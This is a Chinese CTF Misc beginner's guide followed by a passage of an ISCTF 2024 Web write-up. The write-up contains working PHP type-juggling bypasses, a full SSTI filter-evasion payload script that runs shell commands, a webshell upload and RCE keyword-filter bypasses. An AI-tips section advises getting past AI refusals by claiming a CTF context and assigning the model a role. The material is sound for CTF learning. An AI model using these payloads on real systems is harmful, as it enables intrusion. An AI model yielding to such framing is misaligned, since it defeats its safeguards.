相比其他方向，Misc 的门槛较低。哪怕你之前几乎没怎么接触过电脑，也能在解题过程中收获许多实用的小技巧和有趣的知识。

但 Misc 难在他叫做“安全杂项”，范围极广：OSINT(信息搜集)、Forensics(取证分析)、Stego(隐写)、BlockChain(区块链)、甚至是猜谜，就跟个垃圾桶一样，没人要的东西全丢进去，什么奇怪的想法都能往里塞，什么冷门的知识点都有可能考，完全取决于出题人的 ~~丧心病狂~~ 和蔼程度。甚至一道Misc题目，可能涉及到Web、Crypto、Pwn、Rev等所有方向的知识，让你摸不到头脑。

所以，学习杂项方向前，你一定要知道，Misc 是 CTF 中最具随机性的方向：你需要会奇奇怪怪的技能，准备一堆冷门的工具，还要有一颗强大的心脏来接受无数次怀疑自我智商的打击。入门 Misc，请先准备好四处搜罗工具和强大的心理承受力——否则，Misc 会用一种最独特的方式，轻松把你劝退，再将你的智商打击到怀疑人生。

我应该学 Misc 吗？

如果你对网络安全感兴趣，并且喜欢各种解密与探索类的挑战，那么 Misc 对零基础的新手来说，是一个非常合适的试金石。因为它足够杂、知识点足够多、涉猎面足够广，让你在短时间内就能对 CTF 的各个方向有一个整体的认识。

杂项可能不是最难的方向，但他一定是最烧脑，最整活，最逆天，最恶意，最无语的方向，也是最容易爆 0 的方向，它不需要你精通某个方向，但需要你对每一个方向都有所了解 ~~(甚至全栈？)~~。同时，学Misc 的过程，往往能让你更清楚自己究竟对哪个方向真正感兴趣，在哪个方向更有天赋。

但是，杂项的地位其实也些许尴尬，线上赛层出不穷，但在很多线下赛甚至缺席，因为 misc 极度需要互联网——你要去搜工具，查资料，研究各种冷门协议，甚至从网络的某个角落里找到解题的灵感。这意味着 misc 方向选手很多时候需要临时充当其他方向的选手，所以 misc 非常考验你学习新知识的能力，需要你去“现学现卖”，加油，特种兵！

如何入门？

如果你看到这里还没有放弃 misc，看来你已经做好了心理准备，接下来正式进入 misc 的世界吧（大笑）。

在此推荐一个新生赛，由西安电子科技大学主办，山建今年成功参与协办：MoeCTF 2025

如果觉得 MoeCTF 的题目不对你的胃口，也可以尝试ctf.show 靶场中的萌新题目类别，都是十分基础的题目，好上手好理解。

题目十分基础简单，对 misc 方向的覆盖面也较广，是非常（真的）优秀的专门为新生举办的赛事，在过程中，你需要学会如何利用好搜索引擎（有条件的同学可以使用 Google，最次也要用 Bing，百度什么的，懂得都懂），寻找一些 misc 资料，很可能就会找到 moectf 中的类似题目，跟着题解进行解题，掌握技巧收集工具。当然，也有可能思路全无，这是你可以仔细阅读题目及附件，每个字都有可能是关键提示。

当你觉得自己对 Misc 已经有了初步的掌握，就可以尝试深入学习取证、流量分析等更专业，你更感兴趣的内容，或许你会在其中发现新的乐趣！

术语

师傅：CTF 圈子内对大佬的尊称，别人这么叫你也不需要担心，就像山东人互称“老师”一样。
wp（writeup）：题解，复盘题目的过程和方法。
**py ：**指通过非常规手段获取题目答案，如购买。
exp：指 exploit 脚本，几乎所有方向都要写，就是你解出题目所使用的代码。
洞：漏洞的简称，比如“打个洞”“挖个洞”。
爆破：暴力破解，用字典或穷举跑结果。常见于 misc、web。
一把梭：一些能够自动化解题获得 flag 的工具，比如随波逐流。
爆零：凉了，一道题做不出来/打比赛挂了。
flag：CTF题目的答案，获取 flag 并提交是最终目标。
脚本小子：调侃只会用脚本跑题，不是真正理解原理。

学习编程

杂项方向会经常需要对数据，文件进行特殊处理的情况，这要求你至少掌握一门编程语言，对于刚刚步入大学校园，还未接触计算机编程知识的同学们，推荐优先学习 Python，它短小精悍，通俗易懂，也是一门非常常用的脚本语言，上手非常简单，学习各类逻辑方式，运算符，分支循环后，就可以尝试编写一些解题需要的脚本了，对你的日常生活也十分有用，你可以用 Python 编写一些简单的脚本，包括抢课，爬虫等等… 这就等待大家自行探索了，在初期，可以使用人工智能来协助你编写脚本，包括 ChatGPT、Claude、Gemini、DeepSeek 等，都十分好用。

学习 Python 的作用不止于此，misc 方向也会经常出现一类专门针对 Python 语言的题目，即 Pyjali（沙箱逃逸），在今年的 moectf 中也有这类题目等待大家探索。

学习 Linux

学他干啥？

Linux 的鼎鼎大名应该都听过，是一种免费使用和自由传播的类UNIX操作系统，他强大、廉价和完全开放，在各种黑客视频中疯狂刷新存在感，很多真正的黑客也确实偏爱 Linux 系统。绝大多数容器题和取证题都基于 Linux 环境，不掌握基本命令很容易“拿到 shell 却连 flag 都读不出”。推荐在虚拟机里安装 Kali Linux，它自带常用工具，方便练习。如果不需要 Kali Linux 中的工具，那也可以使用 WSL2 安装 Ubuntu 使用，Linux 是你绕不开的一道坎，最基础的命令一定要会使用，下一小节会有相关教程。需要注意的是，这里说的使用，只是让大家熟悉 Linux 的相关命令，非常不建议把 Linux 当主力机使用：软件兼容性、驱动支持和娱乐体验都不佳，容易把大量精力耗在“折腾环境”上。虚拟机或双系统练习更合适。

Linux 常用操作命令大全（最后更新时间：2024年1月）_linux常用命令-CSDN博客

Linux 命令大全 | 菜鸟教程

虚拟机-到底咋用？

虚拟机是一个强大的工具，创建一个虚拟机，就相当于在你的电脑上运行一台“独立的电脑”，你可以创建不同操作系统的虚拟机，有了它，你可以在一台电脑上，运行来自不同操作系统的程序。

Windows 系统推荐使用 VMware Workstation PRO，已经转免，下面有详细教程教大家如何安装VM，安装 Kali Linux：

VMware Workstation Pro下载、安装教程（保姆级）-CSDN博客

MacOS 也可以使用 VMware Fusion（免费），也可使用 Parallels Desktop（付费），考虑到使用人数较少（甚至没有），有需要的同学可以自己上网找一下。

WSL 使用教程

适用于 Linux 的 Windows 子系统（WSL）是 Windows 的一项功能，可用于在 Windows 计算机上运行 Linux 环境，而无需单独的虚拟机或双重启动。 WSL 旨在为想要同时使用 Windows 和 Linux 的开发人员提供无缝高效的体验。 — 什么是适用于 Linux 的 Windows 子系统

WSL（Windows Subsystem for Linux） 是微软推出的一种兼容层，让用户可以在 Windows 上直接运行 Linux 环境，而不需要虚拟机或双系统，WSL1 简直就是一坨，不过经过打磨，WSL2 已经变得比较可口，已经是可以真正使用的 Linux 子系统了，想挑战的同学可以试试看，

引文中贴出了巨硬的WSL官方文档，不过考虑到巨硬一如既往的脑残机翻，想流畅阅读还是具有一定挑战性，下面给出几个筛选后较为合适的教学文档。超详细Windows10/Windows11 子系统（WSL2）安装Ubuntu20.04（带桌面环境）_wsl安装ubuntu20.04-CSDN博客

Windows 安装 WSL2 并运行 Ubuntu 22.04 指南

Windows安装和配置Linux子系统（WSL2）

开始学习 MISC

既然已经决定踏入 Misc 的坑，那就先从几类常见的题型入手。虽然 Misc 千变万化，但大多数题目都能归到以下几类：

Stego（隐写）：把信息藏在图片、音频、视频等文件中，需要通过各种隐写手法去发现并提取隐藏内容。
OSINT（开源情报搜集）：利用公开渠道的信息（搜索引擎、社交平台、地图、历史快照等）来推理和还原题目所要求的线索。
Forensics（取证分析）：针对内存镜像、硬盘镜像、日志文件等进行分析，提取关键证据或 flag。
Traffic（流量分析）：给你一份网络流量包（通常是 .pcap 文件），需要用工具分析其中的通信协议、数据传输甚至还原出隐藏内容。
Encode（编码）：考察各种常见或冷门的编码/加密方式，比如 Base64、摩斯电码、brainfuck，甚至一些自定义规则。

Stego（隐写）

简介：把信息藏在图片、音频、视频等看似正常的文件里。表面上风平浪静，实际暗潮汹涌。

典型题目：

图片里藏了额外的数据（LSB 隐写、像素色值隐写、各类信息嵌入）。
音频文件的频谱图里有一串可见字符。
视频逐帧提取，flag 藏在某一帧角落。

常用工具：

binwalk（文件分析/拆包）
stegsolve（图片隐写）
audacity（音频频谱分析）
exiftool（文件元数据）

最简单的 0 宽文字隐写示例：

这段文本在记事本中看不到任何端倪，但你将它完全复制使用零宽字符隐写解密后，你会得到新的文本。

OSINT（开源情报搜集）

简介：通过公开可查的信息来还原线索，不靠黑科技，只靠信息搜集能力。

极端一点，大家所知道的“开盒”，其实就是开源情报搜集的恶意利用。

典型题目：

给一张风景照，要求你找出拍摄地点。
给一个用户名，让你找到对应的社交媒体账号或邮箱。
给一张模糊地图，要求确定坐标位置。

常用工具/技巧：

反向图片搜索（Google Lens、Yandex）
地图服务（Google Maps、百度地图、OpenStreetMap）
各种 OSINT 工具包（如 theHarvester、Maltego）
善用搜索引擎的高级语法

例题(来自 TGCTF 2025)：

找到距离图中建筑最近的站点

例图

截取学校部分的图片识图找到学校是臺北市立內湖高級工業職業學校

上谷歌地图找

根据街景就能确认这个站点

Forensics（取证分析）

简介：数字取证，分析系统日志、内存镜像、磁盘镜像等，恢复信息。

典型题目：

给一个 Windows 内存镜像，找出运行过的恶意程序。
给一个硬盘镜像，要求恢复被删除的文件。
日志文件里藏着访问痕迹，需要拼出关键信息。

常用工具：

Volatility（内存取证）
Autopsy（数字取证工具）
strings、grep（快速提取可读信息）
WinHex 或 010editor（十六进制编辑器）

此类题目较为复杂，在此不便举例

Traffic（流量分析）

简介：分析网络流量包，理解通信过程，找出隐藏的数据。

典型题目：

.pcap 文件里有加密通信，需要还原明文。
HTTP 流量中夹带了隐藏参数。
TCP 会话拼接后发现 flag 被切片传输。

常用工具：

Wireshark（流量分析神器）
tshark（Wireshark 的命令行版本）
tcpflow / NetworkMiner（流量重组）

Encode（编码/加密）

简介：考察对各种编码和奇怪规则的熟悉程度，有时也会混淆多层。

典型题目：

多重 Base64、URL 编码、摩斯电码混合。
看似乱码，其实是 Brainfuck、Base58、UUencode。
一连串 Emoji 或 DNA 序列，其实是自定义编码。
甚至自定义规则让你随便猜

常用工具：

CyberChef（万能在线解码工具）
各种在线编码/解码网站
一些脚本语言（Python）写小脚本批量解码

Blockchain（区块链）

区块链题目较为冷门，是近几年伴随虚拟币活跃所出现的新方向，门槛较高，难度较大，我对此也仅是一知半解。

该类别题目极少，不感兴趣可以先跳过，毕竟这类题在比赛里出现概率不高。

简介：这类题目以区块链、智能合约、加密货币为背景。大多数时候不会要求你真的精通区块链开发，而是考察你对区块链运行机制、数据结构和常见漏洞的理解。

典型题目：

给你一个以太坊合约代码（Solidity），要求找出逻辑漏洞（如重入攻击、整数溢出）。
给一个区块数据文件或交易哈希，要求还原转账过程、追踪资金流向。
简单的钱包题：通过助记词、私钥格式、地址校验方式找到 flag。
利用公链浏览器（Etherscan、BscScan 等）分析一段交易记录，对合约代码进行逆向分析。

常用工具：

区块链浏览器（Etherscan、Blockchain.com、BscScan）
solc / remix（Solidity 编译与测试）
eth-cli / web3.py（区块链交互工具）
geth（以太坊客户端，适合分析数据文件）

学习建议：如果对区块链完全陌生，可以先了解：

区块、交易、地址、签名这些基本概念；
智能合约的常见漏洞类型；
如何用区块链浏览器去追踪一笔交易。

Misc 没有固定套路，它的精髓在于“杂”，既考察技术广度，也考察耐心和发散思维。多刷题、多积累工具库，慢慢你就会对“杂项大杂烩”有更深的理解。

学习路线

新手入门阶段

跟着 MoeCTF、CTFShow、校内新生赛做题

熟悉常见题型（Stego、OSINT、Encode）

学 Python 基础脚本 + Linux 基本命令
巩固阶段

刷题平台：BUUCTF、CTFShow、CTF+

尝试取证、流量分析类题目，积累工具

熟悉虚拟机、Kali Linux 常用工具
提升阶段

参与一些大型赛事，比如各种企业举办的网络安全大赛

学习 Pyjail（Python 沙箱逃逸）、复杂取证题

试着做一些 Blockchain、冷门脑洞 Misc 扩宽思维
进阶阶段

参加大型线上赛（强网杯、DASCTF、ISCC、CISCN）

积累出题人思路，尝试做复现/复盘

根据兴趣转向某个专业方向（PWN、Crypto、Web…）

如何提升自己

囤囤鼠

质疑脚本小子，理解脚本小子，成为脚本小子。

随着你 misc 的史越赤越多，你会接触到五花八门的工具，这些工具大多需要自己搜寻，有些工具需要付费，也有很多免费工具都被发布在 GitHub 上，不便细说，需要各位善于利用搜索引擎。有能力的同学也可以自己编写常用脚本好好留存。

常用工具


类型	工具	用途
文件分析	binwalk	拆包、分析文件结构
	exiftool	查看文件元数据
	010 Editor / WinHex	十六进制编辑器
隐写分析 (Stego)	stegsolve	图片隐写分析
	zsteg	PNG 隐写检测
	audacity	音频频谱分析
流量分析 (Traffic)	Wireshark	图形化流量分析
	tshark	命令行流量分析
	tcpflow / NetworkMiner	流量重组、提取通信
	CTF-NETA	自动化流量分析工具
取证分析 (Forensics)	Volatility	内存取证
	Lovelymem	Volatility 的可视化 GUI 版本
	Autopsy	磁盘/镜像取证
	DiskGenius	挂载磁盘、恢复文件
编码/加密 (Encode)	CyberChef	万能在线解码工具 https://cyberchef.org
	BugKu CTF 工具站	Base64/URL/Morse/Brainfuck 等常见解码 https://ctf.bugku.com/tools
	随波逐流	自动化编码解码工具 http://1o1o.xyz/
	Python 脚本	自写小工具、批量解码

注意，这里只是给到部分工具，实际上所需要的工具可能数倍与本篇文章所提。

学会使用搜索引擎

很多同学不愿意自己上网搜，因为看到自己的搜索结果只想骂街，全都是垃圾信息其实你并不是懒得搜，而是没掌握搜索引擎的正确姿势。

搜索基本功

提取关键词不要扯一堆堆废话，直接提炼出核心词，不需要修饰词。

❌ “这是一段奇怪的乱码，帮我看看是什么编码？” “如何在我的电脑里安装 Python”

✅ “brainfuck 编码示例” “ Windows 安装 Python”
排除干扰-关键词可以去掉不想要的东西。

python 教程 -蛇
限定范围

site:stackoverflow.com rust error（只搜某网站）

filetype:pdf CTF Writeup（只搜特定格式）

" " 表示要求搜索结果必须完整匹配。
学会翻墙/用外网技术问题优先看英文结果，答案量级直接爆炸，这方面你不能不服歪果仁。浏览器安装一个沉浸式翻译插件，多看官方英文文档，多看外区论坛，实用又高效。
换角度尝试

换用同义词或相关表述。

1. 例：搜 崩溃 换成 报错、异常。

不要过于依赖第一次搜索，找不到有效信息就多换几组关键词。
判断信息质量

优先选择权威网站、论坛或官方文档。

警惕广告或非官方来源的内容。

高效使用 AI & Prompt

在现在的线上赛中，AI（比如 ChatGPT、Claude 等）已经成为了非常重要的一种工具，用得好是神兵利器，用不好就是复读机。这里分享几点调教使用 AI 的小技巧：

占领道德制高点：大部分 AI 会因规则限制，以“涉及安全风险”的理由拒绝回答有关网络安全方面的题目，如果你遭遇了这种问题，你需要明确表示清楚你正在进行网络安全比赛，一切操作建立在虚拟环境的基础，目的是为了保护网络安全降低风险。你可以告诉 AI 你希望它以什么身份回答。比如：

「你是 CTF 选手，请一步步帮我分析」

「你是流量分析专家，帮我解释这份 pcap」

「请只给我思路，不要直接给答案」
明确需求，给上下文：不要上来就丢给大模型一句“帮我解题”或是“给我 flag”，AI 不会读心。要尽量把你遇到的情况描述清楚，最基础也要给出完整的题目，题目类型，题目内容，以及可能的解题方向，包括但不限于：

文件类型（图片、音频、流量包……）

你尝试过的方法

你卡在哪一步
使用清晰，简明的表述：如果你一直重复“帮我看看这东西”“这有问题吗”这种模糊问题，AI 的输出也会模糊。如果你真的想解决问题，最好加上：

文件片段/hex/报错信息

工具输出

你的目标（比如“我要找到Flag”）
常用模板：

分析类「我正在做一道 CTF Misc 题目，现在手里有 [文件/数据]，请从 [隐写/流量/取证/编码] 的角度帮我提供分析思路，并给出所需要的代码」

工具解释类「我用 [工具名] 得到如下输出：[结果]，请帮我分析可能是什么。」

学习类「请用简明概要的语言讲解一下CTF 中的 [知识点]。」

再次强调：AI 不是外挂，只是工具。AI 的强大绝大多数都取决于你是否强大。

不懂就问

“学问学问，不懂就要问”

CTF 的师傅们大多都比较热心，建议各位同学主动拓宽自己的人脉，多在各种群活跃水群，多回答问题，多交流，尤其是 misc，靠的就是脑电波，更需要交流。打 CTF 的其实也就那几个人，各种赛群换来换去其实群成员都不带变的，有些时候出题人就在你的列表。遇到不会的问题，可以主动出击，当然：如果是赛题，不要在比赛期间内去问，不然就变成 py 了，很多时候会让师傅们对你的印象大打折扣，等到比赛结束后，你想怎么问就怎么问，不过也不要太过没有边界感。

但是，再问问题之前，我希望/要求你能明白「提问的智慧」。

提问的智慧

会问问题的人，能把时间换成生产力。好问题 = 更快的突破。

想清楚你要什么 — 目标明确（找思路 / 排错 / 学原理 / 找工具）。
把上下文一次性给全 — 文件类型、工具输出、你尝试过的步骤、出错信息、期望结果。
越具体越好 — 贴出关键的输出片段（hex、log、pcap片段、错误栈、文件），不要只说“出问题了”。
可复现 + 可执行 — 如果需要别人的复现或复查，给出可复现的数据/步骤（注意隐私）

提问流程：

简单清晰的一句话概括问题，不说废话（1–2 行）。
必要背景：文件类型 / 平台 / 题目提示（如果能贴原题更好）。
你做了什么（工具、命令、输出关键行）。
你卡在哪儿 / 想要什么形式的帮助（思路 / 工具 / 逐步引导）。
必要的感谢语，比如“谢谢师傅”“麻烦师傅了”，可以看关系程度添加适当的表情包

贴一篇能教你**「如何正确提出问题」**的文章，我个人建议在正式提出问题前，应该认真阅读一遍。

How-To-Ask-Questions-The-Smart-Way/README-zh_CN.md at main · ryanhanwu/How-To-Ask-Questions-The-Smart-Way

菜就多练

学习 CTF 的途径有90%都是比赛，以赛代练是最为通用的训练方式，多参加比赛，无论大小，你都能看到不同师傅们的出题方向，解题思路，集百家之长。

推荐几个优秀的 CTF 刷题平台，有些比赛也会在这里举办，不仅限于 misc 方向，排名不分先后。

这些平台的用户也很多，遇到不会的题可以直接在搜索引擎搜索平台+题目，很多题目的题解都能搜到。

多看多学

推荐一些网络安全方面的网站：

吾爱破解 - 52pojie.cn “吾爱破解”，是中国最大的破解软件论坛，也是网络安全大牛的聚集地，因为政策影响，现在破解资源越来越少，不过还有很多大神会在论坛发教学贴，现在每年双十一会开放免费注册，不过免费账号需要保持活跃才能保证不被删除，有想法的同学也可以选择赞助来加入论坛。

看雪论坛-安全社区|非营利性质技术交流社区看雪论坛是一个软件安全技术交流场所，以逆向工程、网络安全、软件保护等为核心主题的中文技术社区。

结语

希望这篇入门指北能够对你有所帮助，哪怕只是在茫茫的杂项题海中为你点亮一丝微弱的烛光。它不能让你立刻成为 Misc 的高手，但或许能让你少走一些弯路，摸到一点点 Misc 的真谛。毕竟，Misc 的世界没有固定套路，只有无数奇怪的思路和天马行空的创意。或许你会在一次次的折磨中感到劝退，但如果能在其中找到属于自己的乐趣，那么这些杂乱无章的题目，也能变成意想不到的成就感与惊喜。

篇幅有限，再考虑到指北所需要的趣味性，加之个人水平所限，本指北难免有不够周全之处。在这里向大家推荐 Lunatic 师傅 的一篇优秀博客 —— CTF-Misc Guide - ⚡Lunatic BLOG⚡，内容详尽，非常适合想要深入学习 Misc 的同学参考阅读。

ISCTF 2024 - Writeup

Sun, 01 Dec 2024 00:00:00 +0000

xxxx大学 x19 – WriteUp

解出的题目：

Web：25时晓山瑞希生日会、小蓝鲨的冒险、ez_SSTI、UP!UPloader、1z_php、ezserialize、ezrce、小蓝鲨的秘密、天命人、小蓝鲨的临时存储室、千年樱、ezlogin、新闻系统、小蓝鲨的故事、ezejs、蓝鲨的java入门课堂、小蓝鲨的书店

Pwn：NetCat、girlfriend、ezgame

Misc：问卷、小蓝鲨的签到02、数字迷雾：在像素中寻找线、游园地1、游园地2、小蓝鲨的签到01、少女的秘密花园、赢!rar、老八奇怪自拍照、File_Format、watermark、秘密、奇怪的txt、神秘ping、像素圣战、starry sky、神秘的wav、来自天外的信息

Crypto：我和小蓝鲨的秘密、ChaCha20-Poly1305、小蓝鲨的密码

Re：Ezre、py不好，会被ban

一、Web

25时晓山瑞希生日会

这里设置 UA: Project Sekai 就行

这里设置 X-Forwarded-For 为 127.0.0.1

设置 Time 发现不对，设置Date有回显：

百度 RCF 822时间格式，

EEE, dd MMM yyyy HH:mm Z

格式有了，那么时间是什么时候？根据这个神秘的晓山瑞希生日会提示进行上网搜索，得到如下提示：

那时间也就是2024年8月26日 23点

所以按照这个格式来写

Mon, 26 Aug 2024 23:00:00 GMT

请求之后发现：

按照这个意思，日期改为

Mon, 27 Aug 2024 05:00:00 GMT

请求后返回flag。

小蓝鲨的冒险

先进行一个代码审计。

<?php
  error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关，你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
  $num = $_POST["num"];
  echo "第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！<br>";
  if($num == 2024){
    die("QAQ小蓝鲨误入陷阱，不怕，再接再厉！");
  }
  if(preg_match("/[a-z]/i", $num)){
    die("陷阱太多QAQ");
  }
  if(intval($num,0) == 2024){
    echo "到这了难道还要放弃吗？<br>";
    if (isset($_GET['which'])){
      $which = $_GET['which'];
      echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！";
      switch ($which){
        case 0:
        print('QAQ');
        case 1:
        case 2:
        require_once $which.'.php';
        echo $flag;
        break;
        default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
      }
    }
  }
}

第一层判断：

if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {

也就是说我们需要让a[0]不等于QNKCDZO，同时对它进行md5也不能等于QNKCDZO的MD5值。

考虑到@parse_str($b);，可以联想到变量覆盖：令参数b=a=xxx，经过parse_str后可将a重新赋值为xxx。

那么a要填入的值应该是什么呢？由于要让md5等于QNKCDZO的MD5值，而QNKCDZO的MD5是0E830400451993494058024219903391。

这里我们看见0e开头，以及弱比较，就知道这一定利用了php的另外一个常见漏洞：md5的弱比较。0e开头会直接识别为以科学计数法作为格式的数字，也就是记为0。

关于md5弱比较这块网上讲的更清楚一些，我们这里直接百度一个md5值为0e的字符串拿来用就好，比如240610708

因此请求参数为 b=a[0]=240610708

进入了下一个判断：

 $num = $_POST["num"];
  echo "第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！<br>";
  if($num == 2024){
    die("QAQ小蓝鲨误入陷阱，不怕，再接再厉！");
  }
  if(preg_match("/[a-z]/i", $num)){
    die("陷阱太多QAQ");
  }
  if(intval($num,0) == 2024){
    echo "到这了难道还要放弃吗？<br>";

这里是要post一个num，这个num既要等于2024，又不能直接等于2024的十进制，也不能使用十六进制绕过

所以我们就用八进制好了

2024(10) => 03750(8)

这里前面加了个0的原因是 intval 在输入字符串第一位是0时才会按八进制解析

 if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}

接下来需要我们传参which，我们仔细观察输出flag部分的代码块。

看到后面的switch case都是数字，这里可以利用另外一个PHP特性：switch case为数字时，传参字符串如果不包含数字，会解析为0

正好从case 0 到 case 2之间都没有break，可以顺利走到2的地方去。

这里echo flag之前有一句require_once which.‘.php’;，那么为了拿到flag，必须保证这一行不会有问题，否则就无法输出flag。因此我们需要找到另外一个可用的未被引用的php文件。随便测试一下，发现flag.php是存在的，那就你吧！

直接which=flag

返回flag。

ez_SSTI

根据题目名和简介，可以知道应该是考python flask SSTI漏洞。

我们在输入框里随便构建几个字符串进行测试，比如{{7*7}}

发现返回了49，那基本确定了就是这个考点。

我们直接输一个获取当前系统所有py模块的代码：{{[].class.base.subclasses()")}}

发现存在waf，所以现在需要绕过。

具体构建方式可参考此文档：

python SSTI 过滤器绕过 - meraklbz - 博客园

依照此构建方法，我们构建payload:

**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">__import__('os').popen('cat ../flag').read()</font>**:

{% set pld = xhx_2impxhx_2leftyinsoyinrightpointponleftyincaspacepointpointslasflgyinrightpointredleft~right %}

最终的poc:

import requests
url="http://27.25.151.12:21517/"
payload="""
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set three = (zero-one-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two-one-one-one)|int %}
{% set six=(three*two)|int%}
{% set seven = (zero-one-one-five)|abs %}
{% set eight=(two*four) |int %}
{% set nine = (zero-seven-one-one)|abs %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set space = bfhc%((three~two)|int) %}
{% set point = bfhc%((four~six)|int) %}
{% set leftsquare = bfhc%((nine~one)|int) %}
{% set rightsquare =bfhc%((nine~three)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set sl = dict(l=aa,s=bb)|join %}
{% set dri = dict(di=aa,r=bb)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~ca~space~point~point~slas~flg~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
"""
payload=payload.replace(" ","\n")
data={"user_input":payload}
print(requests.post(data=data,url=url).text)

替换url，运行即可获得flag。

UP!UPloader

请求index.php可以请求通，初步判断是考察php文件上传rce。

随便上传一个一句话shell，回显：

提示include.php，我们进去看看：

推测点了包含文件后就会执行include(PHP)的方法。

我们尝试include index.php，发现可以正常包含，推测成立。

构建：php://filter/convert.base64-encode/resource=index.php** **来读取index.php的源码：

<!DOCTYPE html>
<html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <title>文件上传示例</title>

    </head>

    <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <label for="file">选择要上传的文件:</label>

            <input type="file" name="file" id="file" required>
            <br><br>
            <input type="submit" value="上传文件">
        </form>

    </body>

</html>

没什么亮点，依法炮制拿到upload.php：

<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $name = pathinfo($file['name'], PATHINFO_FILENAME);
    $dir_name = $name . '.' . $ext;
    $upload_dir = './uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }
    if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
        echo "文件上传成功！不过文件路径可不好找呀~什么？什么include.php？我不知道啊。" ;
    } else {
        echo "文件存储失败，未知原因......";
    }
    die();
}
?>

代码审计可以发现上传路径为uploads/文件md5.后缀名，所以我们上传的crash.php可访问路径就是/uploads/beade939f8b8be6272b68b7b29f60152.php。

直接启动中国蚁剑进行连接。

根目录找flag。

1z_php

<?php
highlight_file('index.php');

#一句话木马，神神又奇奇

if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>

签到题，直接

发现flag，用sort读取。

ezserialize

<?php
  error_reporting(0);

class Flag {
  private $flag;

  public function __construct() {
    $this->flag = file_get_contents('/flag');
  }

  public function getFlag() {
    return $this->flag;
  }

  public function __toString() {
    return "You can't directly access the flag!";
  }
}

class User {
  public $username;
  public $isAdmin = false;

  public function __construct($username) {
    $this->username = $username;
  }

  public function __wakeup() {
    if ($this->isAdmin) {
      echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
    } else {
      echo "Hello, " . htmlspecialchars($this->username) . "!";
    }
  }
}

if (isset($_GET['data'])) {
  $data = $_GET['data'];

  $object = unserialize($data);
  if ($object instanceof User) {
    echo $object;
  } else {
    echo "Invalid object!";
  }
} else {
  highlight_file(__FILE__);
}
?>

代码审计，这可能是世界上最简单的php反序列化考题。

我们只需让isAdmin=true，剩下的都不需要构建什么链了。

直接上poc：

<?php

class User {
  public $username;
  public $isAdmin = true;
}

$ins = new User();

echo serialize($ins);

结果：O:4:“User”:2:{s:8:“username”;N;s:7:“isAdmin”;b:1;}

直接去请求：

ezrce

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];

if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>

waf关键词还挺多的。

观察响应头，发现php版本7.3，支持字符串拼接绕过：

(s.y.s.t.e.m)(“whoami”);

通过字符串拼接直接构建出payload，执行。后面我当时具体怎么做的忘了。这里提供另外一种办法：

另外一种办法是不去调用system，而是用var_dump(scandir(’/’));获取目录内容。

然后在使用readfile("/fla".“g”)去读flag

小蓝鲨的秘密

直接访问题目链接发现会被跳转到蓝鲨信息官网，盲猜302跳转，我们使用burpsuite拦截css

直接拿flag。

天命人

<?php
error_reporting(0);

# 帮天命人搜集法宝，重获齐天之姿！
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山！<br>";
public $zhi;
public $shan;

function __get($j)
{
echo "此地阴阳二气略显虚浮，加上刚刚带入的阳气，或可借此遁逃！<br>";
$yin="s214587387a";
$yang=$_GET['J'];
